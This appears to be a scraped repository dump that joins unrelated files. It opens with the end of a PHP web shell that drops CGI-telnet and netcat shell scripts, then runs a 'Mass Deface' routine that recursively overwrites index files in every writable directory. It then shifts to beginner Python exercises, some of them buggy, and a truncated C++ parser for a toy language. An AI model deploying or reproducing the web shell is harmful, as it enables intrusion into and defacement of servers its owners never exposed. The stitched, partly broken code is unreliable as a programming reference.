AddHandler cgi-script .cin
AddHandler cgi-script .cin";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgishellizocin = '<KEY>';
$file = fopen("izo.cin" ,"w+");
$write = fwrite ($file ,base64_decode($cgishellizocin));
fclose($file);
chmod("izo.cin",0755);
$netcatshell = '<KEY>';
$file = fopen("dc.pl" ,"w+");
$write = fwrite ($file ,base64_decode($netcatshell));
fclose($file);
chmod("dc.pl",0755);
echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
</div>"; }
elseif($_GET['opt'] == 'mass_deface') {
function sabun_massal($path,$namafile,$isi_script) {
if(is_writable($path)) {
$dira = scandir($path);
foreach($dira as $dirb) {
$dirc = "$path/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=lime>DONE</font>] $lokasi<br>";
file_put_contents($lokasi, $isi_script);
$idx = sabun_massal($dirc,$namafile,$isi_script);
}
}
}
}
}
}
function sabun_biasa($path,$namafile,$isi_script) {
if(is_writable($path)) {
$dira = scandir($path);
foreach($dira as $dirb) {
$dirc = "$path/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "http://$dirb/$namafile<br>";
file_put_contents($lokasi, $isi_script);
}
}
}
}
}
}
if($_POST['start']) {
if($_POST['tipe_sabun'] == 'mahal') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>";
} elseif($_POST['tipe_sabun'] == 'murah') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>";
}
}else {
echo "<center>";
echo "<form method='post'>
<font style='text-decoration: underline;'>Tipe Sabun:</font><br>
<input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
<font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='d_dir' value='$path' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Filename:</font><br>
<input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Index File:</font><br>
<textarea name='script' style='width: 450px; height: 200px;'>Hacked by Mr.CeRoS404</textarea><br>
<input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
</form></center>";
}
}
echo '</table>';
echo'</div>';
}
echo '<br /><font color="#00FFFF">SHELL GOPRESSXPLOITS<font color="#E0FFFF"></font><a href="" target="_blank"> RECODED BY <font color="#E0FFFF">./SN00PY SEC </a> <a href="" target="_blank"><font color="#E0FFFF"></a></font>
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
?>
<!-- --------Cursor--------- -->
<style type='text/css'>body, a, a:link{cursor:url(http://cur.cursors-4u.net/cursors/cur-9/cur862.png), default;} a:hover {cursor:url(http://cur.cursors-4u.net/cursors/cur-9/cur862.png),wait;}</style>
<body background="https://images.pexels.com/photos/594421/pexels-photo-594421.jpeg?w=940&h=650&auto=compress&cs=tinysrgb">
| f05bf9957ed5912d05c9977749e26c97deec6000 | [
"Markdown",
"PHP"
] | 2 | Markdown | surereddy/PrivateShell | 0d8ef2751a28bb5f945427b7f273d864ef2aafe5 | 47d85ffb4d78851b1c5bdfeee0fd63fb4574db75 |
refs/heads/master | <file_sep># Python program to print the count Even Number and Even Sum And Odd Number.
# Sum and Odd Count between 1 to 100 numbers.
n = int(input("Enter number range :))
even = [i for i in range(0,n,2)]
odd = [i for i in range(1,n,2)]
print(f"Sum of Even Numbers is : {sum(even)}")
print(f"Sum of Odd Numbers is : {sum(odd)}")
<file_sep># Python program to make a simple Calculator
def calcu(choice,inp1,inp2):
switcher={
'1': f'Addition of {inp1} and {inp2}:{inp1+inp2}',
'2': f'Subtraction of {inp1} and {inp2}:{inp1-inp2}',
'3': f'Multiplication of {inp1} and {inp2}:{inp1*inp2}',
'4': f'Division of {inp1} and {inp2}:{inp1/inp2}'
}
if(choice in switcher):
print(switcher[choice])
else:
print("Please read the title and enter values correctly")
print('Please Enter two values')
inp1 = int(input('Value of A:'))
inp2 = int(input('Value of B:'))
print('Simple Calculator \n1.Addition \n2.Subtraction \n3.Multiplication \n4.Division')
choice = input('Select one option:')
calcu(choice,inp1,inp2) <file_sep>#python program to check armstrong number for n number of inputs
#input here
num = int(input("Enter a number: "))
sum = 0
num1 = num
listo = [int(i) for i in str(num)]
powa = len(listo)
print(powa)
while num1 > 0:
i = num1 % 10
sum += i ** powa
num1 //= 10
if num == sum:
print(num,"is an Armstrong number")
else:
print(num,"is not an Armstrong number")<file_sep># Perfect number finder
num = int(input('Enter a number to check wheather its perfect number or not: '))
sum = 0
for i in range(1,num):
if (num % i) == 0:
sum += i
if ( num == sum ):
print(f'{num} is a perfect number')
else:
print(f'{num} is not a perfect number') <file_sep># Print the elements which are greater than the key element
a = []
print('Enter how many values you want to enter: ')
inp1 = int(input())
for i in range(inp1):
ar = int(input())
a.append(ar)
print('Enter key element :')
key = int(input())
for i in a:
if(i > key**2):
print(i)<file_sep># Product of even places is exactly divisible by sum of odd places
inp1 = int(input('Enter a number: '))
nd = 1
s = 0
p = 1
while(inp1>0):
r = inp1 % 10
if (nd % 2 == 0):
p = p * r
else:
s = s + r
inp1 = inp1 // 10
nd += 1
if ( p % s == 0):
print('True')
else:
print('False')<file_sep># Area and Circumference of circle
radius = float(input('Enter radius of the circle: '))
Area = 3.14 * radius * radius
Circumference = 2 * 3.14 * radius
print(f'Area = {Area}\nCircumference = {Circumference}') <file_sep># Laws of motion : F = MA
m = float(input("Enter Mass: "))
a = float(input("Enter Acceleration: "))
print(f'Force = {m*a}') <file_sep># Python program to find the sum of the digits of given number
inp=input("Enter a number :")
a = [ int(i) for i in inp ]
print(f'The sum of digits of given number : {sum(a)}')<file_sep># Python program to give binary,octal,hexadecimal of a given integer
num = int(input('Enter an Integer: '))
print(bin(num))
print(oct(num))
print(hex(num)) <file_sep># python program to print the array elements in ascending order
inp = int(input('How many elements you want to enter:'))
arr = []
for i in range(inp):
n = input()
arr.append(int(n))
arr.sort()
print(arr)
<file_sep># Product of even digits is exactly divisible by sum of odd digits
inp1 = int(input('Enter a number: '))
s = 0
p = 1
while(inp1>0):
r = inp1 % 10
if (r % 2 == 0):
p = p * r
else:
s = s + r
inp1 = inp1 // 10
if ( p % s == 0):
print('True')
else:
print('False')<file_sep># Python Program to Reverse a Number
Num = int(input("Please Enter any Number: "))
Reverse = 0
while(Num > 0):
Reminder = Num %10
Reverse = (Reverse *10) + Reminder
Num = Num //10
print(f"Reverse of entered number is = {Reverse}")<file_sep>#python program to check armstrong number for n numbers using commandline arguments
import sys
Armstrong_with_commandline = sys.argv[0]
num = int(sys.argv[1])
sum = 0
num1 = num
listo = [int(i) for i in str(num)]
powa = len(listo)
print(powa)
while num1 > 0:
i = num1 % 10
sum += i ** powa
num1 //= 10
if num == sum:
print(num,"is an Armstrong number")
else:
print(num,"is not an Armstrong number")<file_sep># python program to print second biggest number among three numbers by tarun
a = int(input('Enter first value: '))
b = int(input('Enter second value: '))
c = int(input('Enter third value: '))
if ( a > b and b > c):
a = 0
else:
if( b > c ):
b = 0
else:
c = 0
if ( a > b and a > c ):
print(f'{a} is the second biggest number')
else:
if( b > c ):
print(f'{b} is the second biggest number')
else:
print(f'{c} is the second biggest number')
<file_sep># python program to find prime numbers in a sequence
# start = int(input()) # if needed
# end = int(input()) # if needed
start = 1
end = 101
for num in range(start,end):
if(num > 1):
for i in range(2,(num//2)+1):
if (num % i) == 0:
break
else:
print(num)<file_sep># Python program to find given number is even or odd
inp = int(input("Enter a number to check wheather its even or odd :"))
if( inp % 2 == 0):
print(f'Given {inp} is even')
else:
print(f'Given {inp} is odd')<file_sep># python program to convert Celcius to Farenheit
c= float(input("Enter the temperature : "))
f=1.8*c+32
c=(f-32)/1.8
print("Faranheit = ",f,"\nCentigrade = ",c) <file_sep># Power of given value
x = int(input('Enter value for base: '))
y = int(input('Enter value for power: '))
sums = 1
for i in range(y):
sums = sums*x
print(f'Power of {x} and {y}: {sums}')
sums1 = sums
n = 0
while(sums > 0):
r = sums % 10
n+=1
sums = sums // 10
print(f'Number of digits in {sums1}: {n}')<file_sep># Even or Odd Finder
num = int(input('Enter a number to check wheather its Even or Odd: '))
if ( num%2 == 0 ):
print(f'{num} is Even')
else:
print(f'{num} is Odd') <file_sep># python program to print second biggest number among three numbers
a = int(input('Enter first value: '))
b = int(input('Enter second value: '))
c = int(input('Enter third value: '))
if( (a > b) and (a > c)):
if ( b > c ):
print(f'{b} is the second biggest digit')
else:
print(f'{c} is the second biggest digit')
else:
if ( b > c ):
if ( a > c ):
print(f'{a} is the second biggest digit')
else:
print(f'{c} is the second biggest digit')
else:
if ( a > b):
print(f'{a} is the second biggest digit')
else:
print(f'{b} is the second biggest digit')<file_sep>#python program to check armstrong number without the remainder ,using list comprehension
#input here
n = input("Enter a number :")
s = 0
# for i in n:
# s += int(i)**len(n)
s = [(int(i)**len(n)) for i in n]
if ( sum(s) == int(n) ):
print("Number is Armstrong")
else:
print("Number is not Armstrong")
<file_sep># write a program to find the all palindromes in the range 70 to 700
m = int(input('Enter a number:'))
n = int(input("Enter a number:"))
if(m > 999 or n > 999):
print("I will only take atmost 3 digit number")
exit()
if(m > n):
print("Please read the program title")
# for storing numbers sequence
listo = []
# for storing the values from the list
a = []
for i in range(m,n+1,1):
listo.append(i)
for i in range(len(listo)):
a = 0
a = [int(j) for j in str(listo[i])]
if(a[0] == a[-1]):
if(len(a) == 2):
print(f'Given number {listo[i]} is not a palindrome')
else:
print(f'Given number {listo[i]} is palindrome')
else:
print(f'Given number {listo[i]} is not a palindrome')
| ffa5da34f76f55e67b3cdb3bfc4c294defb98dc0 | [
"Python"
] | 23 | Python | venuxvg/coding_stuff | 47d066fb9ec6c8fc509580dd635315a84071361a | f36703accd3a5e48e4fe662e76b85f882f1cf66d |
refs/heads/main | <file_sep>//=====================================================================//
// Contents: //
// //
//...Some classes.................................................15...//
//...Parser......................................................314...//
//...Analize.....................................................479...//
//...Declarations................................................510...//
//...Operators...................................................672...//
//=====================================================================//
#include "Lex.cpp"
#include <vector>
//=====================================================================//
//================================================== SOME CLASSES =====//
//=====================================================================//
template <class T, int max_size>
class Stack {
T s[max_size];
int top;
public:
Stack() {top = 0;}
~Stack() {}
int size() {return max_size;}
int get_top() {return top;}
void reset() {top = 0;}
void push(T i);
T pop();
bool is_empty() {return top == 0;}
bool is_full() {return top == max_size;}
};
template <class T, int max_size>
void Stack <T, max_size >::push(T i) {
if (!is_full()) {
s[top] = i;
++top;
} else throw "=!= Stack_is_full\n";
}
template <class T, int max_size>
T Stack <T, max_size >::pop() {
if (!is_empty()) {
--top;
return s[top];
} else throw "=!= Stack_is_empty\n";
}
class Poliz {
Lex *p;
int size;
int free;
public:
Poliz(int max_size){
p = new Lex [size = max_size];
free = 0;
}
~Poliz() {delete []p;}
void put_lex(Lex l) {p[free]=l; ++free;}
void put_lex(Lex l, int place) {p[place]=l;}
void blank() {++free;}
int get_free() {return free;}
Lex& operator[] (int index){
if (index > size) throw "=!= POLIZ:out of array\n";
else if (index > free) throw "=!= POLIZ:indefinite element of array\n";
else return p[index];
};
void print(Scanner & scan) {
//for (int i = 0; i < free; ++i) std::cout << " " << p[i] << " ";
for (int i=0; i<free; ++i) {
std::cout << std::setw(3) << std::right << i << " ";
print_test_lex(p[i], scan);
}
}
};
class Lbl{
int id;
bool used; //Lbl: ...
int place;
Stack <int, 10> all_goto;
public:
friend class table_Lbl;
Lbl(int mid=0):id(mid),used(false),place(0),all_goto(){}
~Lbl(){}
void put_id(int i) {id = i;}
int get_id() {return id;}
void put_used() {if (used) throw "=!= Lbl used already\n"; used = true;}
bool get_used() {return used;}
void put_place(int n) {place = n;}
int get_place() {return place;}
void put_goto(int n) {all_goto.push(n);}
void make_all_goto(Poliz & P){
int i;
if (used){
while (!all_goto.is_empty()){
i = all_goto.pop();
P.put_lex(Lex(POLIZ_LABEL,place), i);
}
} else throw "=!= Label is unused\n";
}
};
class table_Lbl{
Lbl* all_Lbl;
int size;
int free;
public:
table_Lbl(int msize){all_Lbl = new Lbl[size=msize]; free=0;}
~table_Lbl(){delete [] all_Lbl;}
void put_Lbl(int id){
if (free==size) throw "=!= table_Lbl is full\n";
if (find(id)==-1){
(all_Lbl+free)->put_id(id);
free++;
}
}
void put_used(int id){
(all_Lbl+find(id))->put_used();
}
bool get_used(int id){
return (all_Lbl+find(id))->get_used();
}
int find(int id){
int i=0;
while (i!=free){
if ((all_Lbl+i)->id == id) return i;
i++;
}
return -1;
}
void put_place(int id, int place){
if (find(id)==-1) put_Lbl(id); // LBL!!!
put_used(id);
(all_Lbl+find(id))->put_place(place);
}
void put_goto(int id, int where){
(all_Lbl+find(id))->put_goto(where);
}
void make_all_Lbl(Poliz & P){
for (int i=0; i<free; i++)
(all_Lbl+i)->make_all_goto(P);
}
};
class struct_type{
int id_t;
tabl_ident TI;
std::vector <int> VAL;
public:
friend int & struct_id_value(int i);
friend class Parser;
friend class All_struct;
friend class Executer;
struct_type(int mid=0):id_t(mid), TI(10), VAL(10){}
~struct_type(){}
struct_type & operator=(const struct_type & st){
if (this == &st) return *this;
TI = st.TI;
return *this;
}
Ident & operator[](int i){
return TI[i];
}
void put_id(int id){id_t = id;}
int get_id(){return id_t;}
// id - номер в TID
void put_pole(int id){
TI.put(TID[id].get_name());
TI[TI.top-1].put_declare();
TI[TI.top-1].put_value(id);
TI[TI.top-1].put_unassign();
}
int get_pole(int id){
int i=1;
while (i!=TI.get_top()) {if (TI[i].get_value() == id) return i; i++;}
std::cout << "[AAAAAAAAAAAAAAA _ get_pole]\n";
return -1;
}
void put_assign(){
for (int i=1; i<TI.get_top(); i++)
TI[i].put_assign();
}
void put_assign(int id){
TI[get_pole(id)].put_assign();
}
bool get_assign(){
int i=1;
while (i!=TI.get_top()) {if (!TI[i].get_assign()) return false; i++;}
return true;
}
void print(){
for (int i=1; i<TI.top; i++) std::cout << "=-=-=" << TI[i].get_name();
std::cout << "\n";
}
};
class All_struct{
struct_type *A;
int size;
int free;
public:
friend class Parser;
All_struct(int msize=5){
A = new struct_type[size=msize];
free = 0;
}
~All_struct(){}
struct_type & operator[](int n){
if (n<0 || n>=free) throw "=!= All_struct is out of range\n";
return *(A+n);
}
void put_struct(struct_type & st, int id){
if (free==size) throw "=!= All_struct is full\n";
*(A+free) = st;
(A+free)->id_t = id;
free++;
}
int get_struct(int id){
int i=0;
while (i!=free){
if ((A+i)->id_t == id) return i;
i++;
}
return -1;
}
int find(int id){
int i=0;
while (i!=free){
if ((A+i)->id_t == id) return i;
i++;
}
std::cout << "BBBBBBBBBBB _ find\n";
return -1;
}
void put_assign(int s_id){
if (find(s_id) == -1) throw "=!= No struct to put assign\n";
(A+find(s_id))->put_assign();
}
void put_assign(int s_id, int id){
if (find(s_id) == -1) throw "=!= No struct to put assign\n";
(A+find(s_id))->put_assign(id);
}
bool get_assign(int id){
if (find(id) == -1) throw "=!= No struct to check assign\n";
return (A+find(id))->get_assign();
}
};
class stypes{
int *t;
int size;
int free;
int chet;
public:
stypes(int msize=10){t = new int[size=msize]; free=0; chet=0;}
~stypes(){delete [] t;}
int & operator[](int n){return t[n];}
void put(){
if (free != size) {*(t+free)=chet; free++;}
else throw "=!= Stypes is full\n";
}
int get(int i){
if (i<0 || i>=free) throw "=!= stypes out off range\n";
return *(t+i);
}
void ch(){chet++;}
void print(){
for (int i=0; i<free; i++) std::cout << " /" << t[i] << "/ ";
std::cout << "\n";
}
};
//=====================================================================//
//======================================================== PARSER =====//
//=====================================================================//
class Parser {
Lex curr_lex;
type_of_lex c_type;
int c_val;
// // // //
public:
Scanner scan;
private:
// // // //
Stack <int, 100> st_int;
Stack <type_of_lex, 100> st_lex;
Stack <int, lgt> st_struct;
Stack <int, 100> st_break;
std::vector <int> VVAL;
std::vector <Lex> VLEX;
void P();
void D();
void D0();
void DS(struct_type &);
void DS1(struct_type &, const type_of_lex &);
void DS2(struct_type &, const type_of_lex &);
void FS1();
void FS2();
void FS2M();
void D1(const type_of_lex &);
void D2(const type_of_lex &);
void N1();
void N2();
void L1();
void L2();
void STR1();
void STR2();
void B(char a='n');
void S(char a='n');
void S0();
void E();
void E1();
void E2();
void E3();
void E4();
void E5();
void F();
void dec (type_of_lex type);
void check_id();
void F_check_id();
void check_id_struct(struct_type & st);
void F_check_id_struct(struct_type & st);
void check_op();
void check_not();
void eq_type();
void eq_type_struct();
void eq_bool();
void check_id_in_read();
void check_id_in_read_struct(struct_type & st);
void struct_poliz();
void gl() {
curr_lex = scan.get_lex();
c_type = curr_lex.get_type();
c_val = curr_lex.get_value();
}
public:
Poliz prog;
Parser (const char *program) : scan (program), prog (1000) {}
void analyze();
};
table_Lbl TLBL(10);
All_struct TSTRUCT(10);
stypes TSTYPES(10);
Ident & struct_id(int i){
return TSTRUCT[TSTRUCT.find(i/lgt)][TSTRUCT[TSTRUCT.find(i/lgt)].get_pole(i%lgt)];
}
int & struct_id_value(int i){
int k,n;
if ((k=TSTRUCT.find(i/lgt))==-1) throw "=!= No struct_id_value\n";
n = TSTRUCT[k].get_pole(i%lgt);
return TSTRUCT[k].VAL[n];
}
void Parser::F_check_id() {
if (TID[c_val].get_declare() && TID[c_val].get_assign()) st_lex.push(TID[c_val].get_type());
else if (!TID[c_val].get_declare()) throw "=!= Not declared\n";
else throw "=!= Not assigned\n";
}
void Parser::check_id() {
if (TID[c_val].get_declare()) st_lex.push(TID[c_val].get_type());
else throw "=!= Not declared\n";
}
void Parser::F_check_id_struct(struct_type & st){
if (st.TI[st.get_pole(c_val)].get_declare() && st.TI[st.get_pole(c_val)].get_assign()) st_lex.push(st.TI[st.get_pole(c_val)].get_type());
else if (!st.TI[st.get_pole(c_val)].get_declare()) throw "=!= Not declared (in struct)\n";
else throw "=!= Not assigned (in struct)\n";
}
void Parser::check_id_struct(struct_type & st){
if (st.TI[st.get_pole(c_val)].get_declare()) st_lex.push(st.TI[st.get_pole(c_val)].get_type());
else throw "=!= Not declared (in struct)\n";
}
// Для контроля типов аргументов (типы лексем)
void Parser::check_op() {
type_of_lex t1, t2, op, t;
t2 = st_lex.pop();
op = st_lex.pop();
t1 = st_lex.pop();
if (op == LEX_MINUS || op == LEX_TIMES || op == LEX_SLASH || op == LEX_PCNT) t = LEX_INT;
else if (op == LEX_OR || op == LEX_AND) t = LEX_BOOLEAN;
else if (op == LEX_PLUS && (t1 == LEX_INT || t1 == LEX_STRING)) t = t1;
else if (op == LEX_EQ || op == LEX_LSS || op == LEX_LEQ || op == LEX_GTR || op == LEX_GEQ || op == LEX_NEQ) t = LEX_BOOLEAN;
else throw "=!= Strange operation\n";
if (t1 == t2) st_lex.push(t);
else throw "=!= Different types of operands\n";
prog.put_lex(Lex (op));
}
void Parser::check_not(){
if (st_lex.pop() != LEX_BOOLEAN) throw "=!= Wrong type is in not\n";
else {
st_lex.push(LEX_BOOLEAN);
prog.put_lex(Lex(LEX_NOT));
}
}
void Parser::eq_type() {
if (st_lex.pop() != st_lex.pop()) throw "=!= Wrong types are in :=\n";
}
void Parser::eq_type_struct() {
if (st_struct.pop() != st_struct.pop()) throw "=!= Wrong types are in := (struct)\n";
}
void Parser::eq_bool() {
if (st_lex.pop() != LEX_BOOLEAN) throw "=!= Expression is not boolean\n";
}
void Parser::check_id_in_read() {
if (!TID [c_val].get_declare()) throw "=!= Not declared\n";
TID [c_val].put_assign();
}
void Parser::check_id_in_read_struct(struct_type & st){
if (!st.TI[st.get_pole(c_val)].get_declare()) throw "=!= Not declared (in struct)\n";
st.TI[st.get_pole(c_val)].put_assign();
}
void Parser::struct_poliz(){
for (int i=0; i<VVAL.size(); i++){
prog.put_lex(Lex(POLIZ_ADDRESS,lgt*c_val+VVAL[i]));
prog.put_lex(VLEX[i]);
prog.put_lex(Lex(LEX_ASSIGN));
}
}
//=====================================================================//
//======================================================= ANALIZE =====//
//=====================================================================//
void Parser::analyze() {
gl();
P();
std::cout << "\nPOLIZ:\n";
prog.print(scan);
std::cout << "\nYes!!!\n";
}
void Parser::P() {
if (c_type == LEX_PROGRAM) gl();
else throw curr_lex;
if (c_type == LEX_LFIG) {
std::cout << "=============== DECLARATIONS =================\n";
gl();
}
else throw curr_lex;
D();
std::cout << "============== OPERATORS (1UP) ================\n";
B();
if (c_type != LEX_RFIG) throw curr_lex;
gl();
if (c_type != LEX_FIN) throw curr_lex;
TLBL.make_all_Lbl(prog);
}
//=====================================================================//
//================================================== DECLARATIONS =====//
//=====================================================================//
void Parser::D() {
type_of_lex t;
while (c_type == LEX_INT || c_type == LEX_BOOLEAN || c_type == LEX_STRING || c_type == LEX_STRUCT){
if (c_type == LEX_STRUCT) {
gl();
D0();
} else {
t = c_type;
gl(); D1(t);
}
if (c_type == LEX_SEMICOLON) gl();
else throw curr_lex;
}
}
void Parser::D1(const type_of_lex & t) {
D2(t);
while (c_type == LEX_COMMA){
gl();
D2(t);
}
}
void Parser::D2(const type_of_lex & t) {
int id_num;
if (c_type != LEX_ID) throw curr_lex;
if (TID[c_val].get_declare()) throw "=!= Twice declared\n";
TID[c_val].put_declare();
TID[c_val].put_type(t);
id_num = c_val;
gl();
if (c_type == LEX_ASSIGN) {
c_val = id_num;
check_id();
TID[c_val].put_assign();
prog.put_lex (Lex(POLIZ_ADDRESS,c_val));
gl();
E5();
eq_type();
prog.put_lex (Lex (LEX_ASSIGN));
}
}
void Parser::D0(){
if (c_type == LEX_LFIG){
struct_type ST;
VVAL.clear();
VLEX.clear();
gl();
while (c_type != LEX_RFIG && c_type != LEX_FIN){
if (!(c_type == LEX_INT || c_type == LEX_BOOLEAN || c_type == LEX_STRING)) throw curr_lex;
DS(ST);
}
if (c_type == LEX_RFIG) {
gl();
if (c_type == LEX_ID){
TSTRUCT.put_struct(ST,c_val);
(TSTRUCT.A+TSTRUCT.free-1)->put_id(c_val);
TID[c_val].put_type(LEX_STRUCT_ID);
TID[c_val].put_declare();
TSTYPES.put();
struct_poliz();
gl();
while (c_type == LEX_COMMA) {
gl();
if (c_type == LEX_ID){
TSTRUCT.put_struct(ST,c_val);
(TSTRUCT.A+TSTRUCT.free-1)->put_id(c_val);
TID[c_val].put_type(LEX_STRUCT_ID);
TID[c_val].put_declare();
TSTYPES.put();
struct_poliz();
gl();
} else throw curr_lex;
} TSTYPES.ch();
} else throw curr_lex;
} else throw curr_lex;
} else throw curr_lex;
}
void Parser::DS(struct_type & st){
type_of_lex t;
while (c_type == LEX_INT || c_type == LEX_BOOLEAN || c_type == LEX_STRING){
t = c_type;
gl(); DS1(st,t);
if (c_type == LEX_SEMICOLON) gl();
else throw curr_lex;
}
}
void Parser::DS1(struct_type & st, const type_of_lex & t) {
DS2(st,t);
while (c_type == LEX_COMMA){
gl();
DS2(st,t);
}
}
void Parser::DS2(struct_type & st, const type_of_lex & t) {
int id_num;
if (c_type != LEX_ID) throw curr_lex;
if (st.TI[st.get_pole(c_val)].get_declare()) throw "=!= Twice declared\n";
st.put_pole(c_val);
st.TI[st.get_pole(c_val)].put_declare();
st.TI[st.get_pole(c_val)].put_type(t);
st_lex.push(t);
id_num = c_val;
gl();
if (c_type == LEX_ASSIGN) {
c_val = id_num;
check_id_struct(st);
st.TI[st.get_pole(c_val)].put_assign();
VVAL.push_back(c_val);
gl();
FS1();//
eq_type();
}
}
void Parser::FS1(){
if (c_type == LEX_MINUS) {
st_lex.push(LEX_INT);
gl();
FS2M();
} else FS2();
}
void Parser::FS2(){
if (c_type == LEX_NUM) {
st_lex.push(LEX_INT);
VLEX.push_back(curr_lex);
gl();
} else if (c_type == LEX_TRUE) {
st_lex.push(LEX_BOOLEAN);
VLEX.push_back(Lex (LEX_TRUE,1));
gl();
} else if (c_type == LEX_FALSE) {
st_lex.push(LEX_BOOLEAN);
VLEX.push_back(Lex (LEX_FALSE,0));
gl();
} else if (c_type == LEX_STR) {
st_lex.push(LEX_STRING);
VLEX.push_back(curr_lex);
gl();
} else throw curr_lex;
}
void Parser::FS2M(){
if (c_type == LEX_NUM) {
st_lex.push(LEX_INT);
curr_lex = Lex(curr_lex.get_type(),-1*curr_lex.get_value());
VLEX.push_back(curr_lex);
gl();
} else throw curr_lex;
}
//=====================================================================//
//===================================================== OPERATORS =====//
//=====================================================================//
void Parser::B(char a) {
while (c_type != LEX_RFIG && c_type != LEX_FIN) S(a);
}
void Parser::S(char a) {
int pl1,pl2,pl3,pl4;
int sv,v=0,sf=0,br;
switch (c_type){
case LEX_IF:
if (a == 'e') throw "=!= Error in operator-expression\n";
gl();
E();
eq_bool();
pl1 = prog.get_free();
prog.blank();
prog.put_lex (Lex(POLIZ_FGO));
S(a);
pl2 = prog.get_free();
prog.blank();
prog.put_lex (Lex(POLIZ_GO));
prog.put_lex (Lex(POLIZ_LABEL, prog.get_free()),pl1);
if (c_type == LEX_ELSE){
gl();
S(a);
prog.put_lex(Lex(POLIZ_LABEL,prog.get_free()),pl2);
} else throw curr_lex;
break;
case LEX_WHILE:
if (a == 'e') throw "=!= Error in operator-expression\n";
pl1 = prog.get_free();
gl();
E();
eq_bool();
pl2 = prog.get_free();
prog.blank();
prog.put_lex (Lex(POLIZ_FGO));
br = st_break.get_top();
S('b');
prog.put_lex (Lex (POLIZ_LABEL, pl1));
prog.put_lex (Lex (POLIZ_GO));
prog.put_lex (Lex(POLIZ_LABEL, prog.get_free()),pl2);
br = st_break.get_top() - br;
if (br) {
for (int i=0; i<br; i++)
prog.put_lex(Lex(POLIZ_LABEL,prog.get_free()), st_break.pop());
}
break;
case LEX_READ:
if (a == 'e') throw "=!= Error in operator-expression\n";
gl();
if (c_type == LEX_LPAREN){
gl();
if (c_type == LEX_ID) {
if (TID[c_val].get_type() == LEX_STRUCT_ID) {
sv = c_val;
gl();
if (c_type == LEX_DOT) {
gl();
if (c_type == LEX_ID) {
v = c_val;
check_id_in_read_struct(TSTRUCT[TSTRUCT.get_struct(sv)]);
prog.put_lex (Lex (POLIZ_ADDRESS, lgt*sv+v));
gl();
} else throw curr_lex;
} else throw "=!= Struct in read\n";
} else {
check_id_in_read();
prog.put_lex (Lex (POLIZ_ADDRESS, c_val));
gl();
}
} else throw curr_lex;
if (c_type == LEX_RPAREN) {
gl();
prog.put_lex (Lex (LEX_READ));
} else throw curr_lex;
} else throw curr_lex;
if (c_type == LEX_SEMICOLON) gl(); else throw curr_lex;
break;
case LEX_WRITE:
if (a == 'e') throw "=!= Error in operator-expression\n";
st_struct.reset();
st_lex.reset();
gl();
if (c_type == LEX_LPAREN) {
gl();
E();
if (!st_struct.is_empty()) throw "=!= Struct in write\n";
prog.put_lex (Lex(LEX_WRITE));
while (c_type == LEX_COMMA){
gl();
E();
if (!st_struct.is_empty()) throw "=!= Struct in write\n";
prog.put_lex (Lex(LEX_WRITE));
}
if (c_type == LEX_RPAREN) gl();
else throw curr_lex;
} else throw curr_lex;
if (c_type == LEX_SEMICOLON) gl(); else throw curr_lex;
break;
case LEX_ID:
st_struct.reset();
st_lex.reset();
sv = c_val;
if (TID[sv].get_type() == LEX_STRUCT_ID) sf=1;
gl();
if (c_type == LEX_DOT) {
gl();
if (c_type == LEX_ID) {
v = c_val;
gl();
} else throw curr_lex;
}
if (c_type == LEX_ASSIGN) {
if (v == 0 || sf == 0) {
c_val = sv;
if (sf == 0) check_id();
else st_struct.push(TSTYPES[TSTRUCT.get_struct(sv)]);
prog.put_lex (Lex(POLIZ_ADDRESS,c_val));
gl();
E();
if (st_lex.get_top() == st_struct.get_top())
throw "=!= Different types (struct/not struct)\n";
else if (sf == 0) eq_type();
else eq_type_struct();
prog.put_lex (Lex (LEX_ASSIGN));
TID[sv].put_assign();
if (sf != 0) TSTRUCT.put_assign(sv);
if (a != 'e') {
if (c_type == LEX_SEMICOLON) gl();
else throw curr_lex;
}
} else {
c_val = v;
check_id_struct(TSTRUCT[TSTRUCT.get_struct(sv)]);
prog.put_lex (Lex(POLIZ_ADDRESS,lgt*sv+v));
gl();
E();
eq_type();
